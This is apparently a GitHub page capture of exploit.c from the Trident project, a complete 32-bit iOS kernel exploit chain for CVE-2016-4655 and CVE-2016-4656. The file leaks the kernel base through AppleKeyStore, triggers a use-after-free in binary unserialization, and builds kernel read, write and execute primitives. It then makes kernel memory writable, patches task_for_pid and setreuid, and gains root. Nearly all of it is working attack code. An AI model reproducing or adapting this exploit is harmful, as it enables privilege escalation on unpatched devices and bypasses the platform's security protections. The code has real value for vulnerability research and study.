Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
521 lines (417 sloc) 18.4 KB
//
// exploit.c
// Trident
//
// Created by Benjamin Randazzo on 06/11/2016.
// Copyright © 2016 Benjamin Randazzo. All rights reserved.
//
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <assert.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/kauth.h>
#include <sys/stat.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include "offsetfinder.h"
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollecton = 0x80000000U,
};
#define kOSSerializeBinarySignature "\323\0\0"
kern_return_t io_service_open_extended(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);
kern_return_t io_registry_entry_get_properties(mach_port_t registry_entry, io_buf_ptr_t *properties, mach_msg_type_number_t *propertiesCnt);
kern_return_t io_service_get_matching_services_bin(mach_port_t master_port, io_struct_inband_t matching, mach_msg_type_number_t matchingCnt, mach_port_t *existing);
#define WRITE_IN(buf, data) do { *(uint32_t *)(buf+bufpos) = (data); bufpos+=4; } while(0)
#define TTB_SIZE 4096
#define L1_SECT_S_BIT (1 << 16)
#define L1_SECT_PROTO (1 << 1) /* 0b10 */
#define L1_SECT_AP_URW (1 << 10) | (1 << 11)
#define L1_SECT_APX (1 << 15)
#define L1_SECT_DEFPROT (L1_SECT_AP_URW | L1_SECT_APX)
#define L1_SECT_SORDER (0) /* 0b00, not cacheable, strongly ordered. */
#define L1_SECT_DEFCACHE (L1_SECT_SORDER)
#define L1_PROTO_TTE(entry) (entry | L1_SECT_S_BIT | L1_SECT_DEFPROT | L1_SECT_DEFCACHE)
#define L1_PAGE_PROTO (1 << 0)
#define L1_COARSE_PT (0xFFFFFC00)
#define PT_SIZE 256
#define L2_PAGE_APX (1 << 9)
const char *lock_last_path_component = "/tmp/lock";
char *lockfile;
int fd;
int fildes[2];
uint32_t cpipe;
uint32_t pipebuf;
clock_serv_t clk_battery;
clock_serv_t clk_realtime;
unsigned char clock_ops_overwrite[] = {
0x00, 0x00, 0x00, 0x00, // [00] (rtclock.getattr): address of OSSerializer::serialize (+1)
0x00, 0x00, 0x00, 0x00, // [04] (calend_config): NULL
0x00, 0x00, 0x00, 0x00, // [08] (calend_init): NULL
0x00, 0x00, 0x00, 0x00, // [0C] (calend_gettime): address of calend_gettime (+1)
0x00, 0x00, 0x00, 0x00, // [10] (calend_getattr): address of _bufattr_cpx (+1)
};
unsigned char uaf_payload_buffer[] = {
0x00, 0x00, 0x00, 0x00, // [00] ptr to clock_ops_overwrite buffer
0x00, 0x00, 0x00, 0x00, // [04] address of clock_ops array in kern memory
0x00, 0x00, 0x00, 0x00, // [08] address of _copyin
0x00, 0x00, 0x00, 0x00, // [0C] NULL
0x00, 0x00, 0x00, 0x00, // [10] address of OSSerializer::serialize (+1)
0x00, 0x00, 0x00, 0x00, // [14] address of "BX LR" code fragment
0x00, 0x00, 0x00, 0x00, // [18] NULL
0x00, 0x00, 0x00, 0x00, // [1C] address of OSSymbol::getMetaClass (+1)
0x00, 0x00, 0x00, 0x00, // [20] address of "BX LR" code fragment
0x00, 0x00, 0x00, 0x00, // [24] address of "BX LR" code fragment
};
unsigned char pExploit[128];
#define PAYLOAD_TO_PEXPLOIT (-76)
#define PEXPLOIT_TO_UAF_PAYLOAD 8
vm_offset_t vm_kernel_addrperm;
uint32_t write_gadget; // address of "str r1, [r0, #0xc] ; bx lr"
void initialize(void) {
kern_return_t kr;
char *home = getenv("HOME");
lockfile = malloc(strlen(home) + strlen(lock_last_path_component) + 1);
assert(lockfile);
strcpy(lockfile, home);
strcat(lockfile, lock_last_path_component);
fd = open(lockfile, O_CREAT | O_WRONLY, 0644);
assert(fd != -1);
flock(fd, LOCK_EX);
assert(pipe(fildes) != -1);
kr = host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &clk_battery);
if (kr != KERN_SUCCESS) {
printf("err: %d\n", err_get_code(kr));
}
kr = host_get_clock_service(mach_host_self(), REALTIME_CLOCK, &clk_realtime);
if (kr != KERN_SUCCESS) {
printf("err: %d\n", err_get_code(kr));
}
}
// CVE-2016-4655
uint32_t leak_kernel_base(void) {
char data[4096];
uint32_t bufpos = 0;
memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
bufpos += sizeof(kOSSerializeBinarySignature);
WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);
WRITE_IN(data, kOSSerializeSymbol | 30);
WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingSrc"
WRITE_IN(data, 0x6f627965);
WRITE_IN(data, 0x4d647261);
WRITE_IN(data, 0x6669646f);
WRITE_IN(data, 0x4d726569);
WRITE_IN(data, 0x69707061);
WRITE_IN(data, 0x7253676e);
WRITE_IN(data, 0x00000063);
WRITE_IN(data, kOSSerializeNumber | 2048);
WRITE_IN(data, 0x00000004);
WRITE_IN(data, 0x00000000);
WRITE_IN(data, kOSSerializeSymbol | 30);
WRITE_IN(data, 0x4b444948); // "HIDKeyboardModifierMappingDst"
WRITE_IN(data, 0x6f627965);
WRITE_IN(data, 0x4d647261);
WRITE_IN(data, 0x6669646f);
WRITE_IN(data, 0x4d726569);
WRITE_IN(data, 0x69707061);
WRITE_IN(data, 0x7344676e);
WRITE_IN(data, 0x00000074);
WRITE_IN(data, kOSSerializeNumber | kOSSerializeEndCollecton | 32);
WRITE_IN(data, 0x00000193);
WRITE_IN(data, 0X00000000);
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleKeyStore"));
io_connect_t connection;
kern_return_t result;
io_service_open_extended(service, mach_task_self(), 0, NDR_record, data, bufpos, &result, &connection);
if (result != KERN_SUCCESS) {
printf("err: %d\n", err_get_code(result));
}
io_object_t object = 0;
uint32_t size = sizeof(data);
io_iterator_t iterator;
IORegistryEntryGetChildIterator(service, "IOService", &iterator);
do {
if (object) {
IOObjectRelease(object);
}
object = IOIteratorNext(iterator);
} while (IORegistryEntryGetProperty(object, "HIDKeyboardModifierMappingSrc", data, &size));
if (size > 8) {
int i;
for (i=0; i<size; i++) {
if (i % 4 == 0) {
printf("\n");
}
printf("%02x ", (unsigned char)data[i]);
}
printf("\n");
return (*(uint32_t *)(data+36) & 0xFFF00000) + 0x1000;
}
return 0;
}
void *insert_payload(void *ptr) {
char stackAnchor;
uint32_t bufpos; // unsigned int size;
char buffer[4096];
int v26;
mach_port_t connection;
kern_return_t result;
mach_port_t masterPort;
char *p = (char *)((unsigned int)&stackAnchor & 0xFFFFF000);
// kauth_filesec.fsec_magic
*(uint32_t *)(p + 0xEC0) = 0x12CC16D;
// kauth_filesec.fsec_acl.entrycount = KAUTH_FILESEC_NOACL
*(uint32_t *)(p + 0xEE4) = -1;
// kauth_filesec.fsec_acl.acl_ace[...]
memcpy((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);
memcpy(buffer, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
bufpos = sizeof(kOSSerializeBinarySignature);
WRITE_IN(buffer, kOSSerializeDictionary | kOSSerializeEndCollecton | 2);
WRITE_IN(buffer, kOSSerializeSymbol | 128);
// "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara"
for (v26=0; v26<124; v26+=4) {
WRITE_IN(buffer, 0x72617261);
}
WRITE_IN(buffer, 0x00617261);
WRITE_IN(buffer, kOSSerializeNumber | 2048);
WRITE_IN(buffer, 0x00000004);
WRITE_IN(buffer, 0X00000000);
WRITE_IN(buffer, kOSSerializeSymbol | 30);
WRITE_IN(buffer, 0x4b444948); // "HIDKeyboardModifierMappingDst"
WRITE_IN(buffer, 0x6f627965);
WRITE_IN(buffer, 0x4d647261);
WRITE_IN(buffer, 0x6669646f);
WRITE_IN(buffer, 0x4d726569);
WRITE_IN(buffer, 0x69707061);
WRITE_IN(buffer, 0x7344676e);
WRITE_IN(buffer, 0x00000074);
WRITE_IN(buffer, kOSSerializeNumber | kOSSerializeEndCollecton | 32);
WRITE_IN(buffer, 0x00000193);
WRITE_IN(buffer, 0x00000000);
masterPort = kIOMasterPortDefault;
io_service_t service = IOServiceGetMatchingService(masterPort, IOServiceMatching("AppleKeyStore"));
io_service_open_extended(service, mach_task_self(), 0, NDR_record, buffer, bufpos, &result, &connection);
if (result != KERN_SUCCESS) {
printf("err: %d\n", err_get_code(result));
}
io_object_t object = 0;
uint32_t size = sizeof(buffer);
io_iterator_t iterator;
IORegistryEntryGetChildIterator(service, "IOService", &iterator);
uint32_t *args = (uint32_t *)ptr;
uint32_t kernel_base = *args;
uint32_t payload_ptr = 0;
do {
if (object) {
IOObjectRelease(object);
}
object = IOIteratorNext(iterator);
} while (IORegistryEntryGetProperty(object, "ararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararararara", buffer, &size));
if (size > 8) {
int i;
for (i=0; i<size; i++) {
if (i % 4 == 0) {
printf("\n");
}
printf("%02x ", (unsigned char)buffer[i]);
}
printf("\n");
payload_ptr = *(uint32_t *)(buffer+16);
}
*(uint32_t *)clock_ops_overwrite = kernel_base + find_OSSerializer_serialize() + 1;
*(uint32_t *)(clock_ops_overwrite+0xC) = kernel_base + find_calend_gettime() + 1;
*(uint32_t *)(clock_ops_overwrite+0x10) = kernel_base + find_bufattr_cpx() + 1;
*(uint32_t *)uaf_payload_buffer = (uint32_t)clock_ops_overwrite;
*(uint32_t *)(uaf_payload_buffer+0x4) = kernel_base + find_clock_ops();
*(uint32_t *)(uaf_payload_buffer+0x8) = kernel_base + find_copyin();
*(uint32_t *)(uaf_payload_buffer+0x10) = kernel_base + find_OSSerializer_serialize() + 1;
*(uint32_t *)(uaf_payload_buffer+0x14) = kernel_base + find_bx_lr();
*(uint32_t *)(uaf_payload_buffer+0x1C) = kernel_base + find_OSSymbol_getMetaClass() + 1;
*(uint32_t *)(uaf_payload_buffer+0x20) = kernel_base + find_bx_lr();
*(uint32_t *)(uaf_payload_buffer+0x24) = kernel_base + find_bx_lr();
memcpy(pExploit+PEXPLOIT_TO_UAF_PAYLOAD, uaf_payload_buffer, sizeof(uaf_payload_buffer));
memcpy(pExploit+PEXPLOIT_TO_UAF_PAYLOAD+sizeof(uaf_payload_buffer), clock_ops_overwrite, sizeof(clock_ops_overwrite));
// kauth_filesec.fsec_acl.acl_ace[...]
memcpy((void *)(((unsigned int)&stackAnchor & 0xFFFFF000) | 0xEEC), pExploit, 128);
*(uint32_t *)(args[1]) = payload_ptr;
int ret = syscall(SYS_open_extended, lockfile, O_WRONLY | O_EXLOCK, KAUTH_UID_NONE, KAUTH_GID_NONE, 0644, p + 0xEC0);
assert(ret != -1);
return NULL;
}
uint32_t read_primitive(uint32_t addr) {
int attr;
unsigned int attrCnt;
return clock_get_attributes(clk_battery, addr, &attr, &attrCnt);
}
void exec_primitive(uint32_t fct, uint32_t arg1, uint32_t arg2) {
int attr;
unsigned int attrCnt;
char data[64];
write(fildes[1], "AAAABBBB", 8);
write(fildes[1], &arg1, 4);
write(fildes[1], &arg2, 4);
write(fildes[1], &fct, 4);
clock_get_attributes(clk_realtime, pipebuf, &attr, &attrCnt);
read(fildes[0], data, 64);
}
void write_primitive(uint32_t addr, uint32_t value) {
addr -= 0xc;
exec_primitive(write_gadget, addr, value);
}
void patch_kernel_pmap(uint32_t kernel_base) {
uint32_t kernel_pmap = find_kernel_pmap() + kernel_base;
uint32_t kernel_pmap_store = read_primitive(kernel_pmap);
uint32_t tte_virt = read_primitive(kernel_pmap_store);
uint32_t tte_phys = read_primitive(kernel_pmap_store+4);
printf("kernel pmap store @ 0x%08x\n", kernel_pmap_store);
printf("kernel pmap tte is at VA 0x%08x PA 0x%08x\n", tte_virt, tte_phys);
/* every page is writable */
uint32_t i;
uint32_t j;
for (i=0; i<TTB_SIZE; i++) {
uint32_t addr = tte_virt+(i<<2);
uint32_t entry = read_primitive(addr);
if ((entry & L1_PAGE_PROTO) == L1_PAGE_PROTO) {
uint32_t page_entry = ((entry & L1_COARSE_PT) - tte_phys) + tte_virt;
for (j=0; j<PT_SIZE; j++) {
uint32_t addr2 = page_entry+(j<<2);
uint32_t entry2 = read_primitive(addr2);
if (entry2) {
uint32_t new_entry2 = (entry2 & (~L2_PAGE_APX));
write_primitive(addr2, new_entry2);
}
}
} else if ((entry & L1_SECT_PROTO) == L1_SECT_PROTO) {
uint32_t new_entry = L1_PROTO_TTE(entry);
new_entry &= ~L1_SECT_APX;
write_primitive(addr, new_entry);
}
}
uint32_t flush_dcache = find_flush_dcache() + kernel_base;
exec_primitive(flush_dcache, 0, 0);
uint32_t invalidate_tlb = find_invalidate_tlb() + kernel_base;
exec_primitive(invalidate_tlb, 0, 0);
}
void patch_task_for_pid(uint32_t kernel_base) {
uint32_t task_for_pid_base = find_task_for_pid() + kernel_base;
uint32_t pid_check_addr = find_pid_check() + task_for_pid_base;
write_primitive(pid_check_addr, read_primitive(pid_check_addr) + 0xff); // cmp r6, #ff
uint32_t posix_check_ret_addr = find_posix_check() + task_for_pid_base;
write_primitive(posix_check_ret_addr, read_primitive(posix_check_ret_addr) + 0xff); // cmp r0, #ff
uint32_t mac_proc_check_ret_addr = find_mac_proc_check() + task_for_pid_base;
write_primitive(mac_proc_check_ret_addr, read_primitive(mac_proc_check_ret_addr) | 0x10000); // cmp.w r8, #1
}
void patch_setreuid(uint32_t kernel_base, mach_port_name_t kernel_task) {
uint32_t setreuid_base = find_setreuid() + kernel_base;
uint32_t branch_addr = 0x3e + setreuid_base;
ushort new_branch = find_setreuid_cred_update(); // b loc_802aaa2c
vm_write(kernel_task, branch_addr, (vm_address_t)&new_branch, 2);
}
void exploit(uint32_t kernel_base, bool pre91) {
pthread_t insert_payload_thread;
volatile uint32_t payload_ptr = 0x12345678;
uint32_t args[] = {kernel_base, (uint32_t)&payload_ptr};
char data[4096];
uint32_t bufpos = 0;
mach_port_t master = 0, res;
kern_return_t kr;
struct stat buf;
mach_port_name_t kernel_task;
pointer_t b;
uint32_t size;
assert(pthread_create(&insert_payload_thread, NULL, &insert_payload, args) == 0);
while (payload_ptr == 0x12345678);
printf("payload ptr: %p\n", (void *)payload_ptr);
sleep(1);
// CVE-2016-4656
memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
bufpos += sizeof(kOSSerializeBinarySignature);
WRITE_IN(data, kOSSerializeDictionary | kOSSerializeEndCollecton | 0x10);
if (pre91)
{
/* pre-9.1 doesn't accept strings as keys, but duplicate keys :D */
WRITE_IN(data, kOSSerializeSymbol | 4);
WRITE_IN(data, 0x00327973); // "sy2"
/* our key is a OSString object that will be freed */
WRITE_IN(data, kOSSerializeString | 4);
WRITE_IN(data, 0x00327973); // irrelevant
/* now this will free the string above */
WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2"
WRITE_IN(data, kOSSerializeBoolean | 1); // lightweight value
/* and this is the key for the value below */
WRITE_IN(data, kOSSerializeObject | 1); // ref to "sy2" again
}
else
{
/* our key is a OSString object that will be freed */
WRITE_IN(data, kOSSerializeString | 4);
WRITE_IN(data, 0x00327973); // "sy2"
}
WRITE_IN(data, kOSSerializeData | 0x14);
WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT+PEXPLOIT_TO_UAF_PAYLOAD); // [00] address of uaf_payload_buffer
WRITE_IN(data, 0x41414141); // [04] dummy
WRITE_IN(data, payload_ptr+PAYLOAD_TO_PEXPLOIT); // [08] address of uaf_payload_buffer - 8
WRITE_IN(data, 0x00000014); // [0C] static value of 20
WRITE_IN(data, kernel_base+find_OSSerializer_serialize()+1); // [10] address of OSSerializer::serialize (+1)
/* now create a reference to object 1 which is the OSString object that was just freed */
WRITE_IN(data, kOSSerializeObject | kOSSerializeEndCollecton | (pre91 ? 2 : 1));
/* get a master port for IOKit API */
host_get_io_master(mach_host_self(), &master);
/* trigger the bug */
kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
printf("kr: 0x%x\n", kr);
/* test read primitive */
assert(read_primitive(kernel_base) == 0xfeedface);
vm_kernel_addrperm = read_primitive(kernel_base+find_vm_kernel_addrperm());
/* pipe test */
assert(fstat(fildes[0], &buf) != -1);
cpipe = (uint32_t)(buf.st_ino - vm_kernel_addrperm);
write(fildes[1], "ABCDEFGH", 8);
assert(read_primitive(cpipe) == 8);
pipebuf = read_primitive(cpipe+16);
assert(read_primitive(pipebuf) == 0x44434241); // "ABCD"
assert(read_primitive(pipebuf+4) == 0x48474645); // "EFGH"
read(fildes[0], data, 4096);
/* test write primitive */
write_gadget = kernel_base + find_write_gadget();
write_primitive(pipebuf, 0x41424142);
assert(read_primitive(pipebuf) == 0x41424142);
/* patch kernel pmap */
patch_kernel_pmap(kernel_base);
/* test kernel pmap patch */
write_primitive(kernel_base, 0x41424142);
assert(read_primitive(kernel_base) == 0x41424142);
write_primitive(kernel_base, 0xfeedface);
assert(read_primitive(kernel_base) == 0xfeedface);
kr = task_for_pid(mach_task_self(), 0, &kernel_task);
assert(kr != 0);
patch_task_for_pid(kernel_base);
sleep(1);
kr = task_for_pid(mach_task_self(), 0, &kernel_task);
assert(kr == 0);
/* test kernel task port */
kr = vm_read(kernel_task, kernel_base, 4, &b, &size);
assert(kr == 0);
assert(*(uint32_t*)(b) == 0xfeedface);
/* patch setreuid */
assert(getuid() != 0);
patch_setreuid(kernel_base, kernel_task);
sleep(1);
assert(setreuid(0, 0) == 0);
/* got root? */
assert(getuid() == 0);
}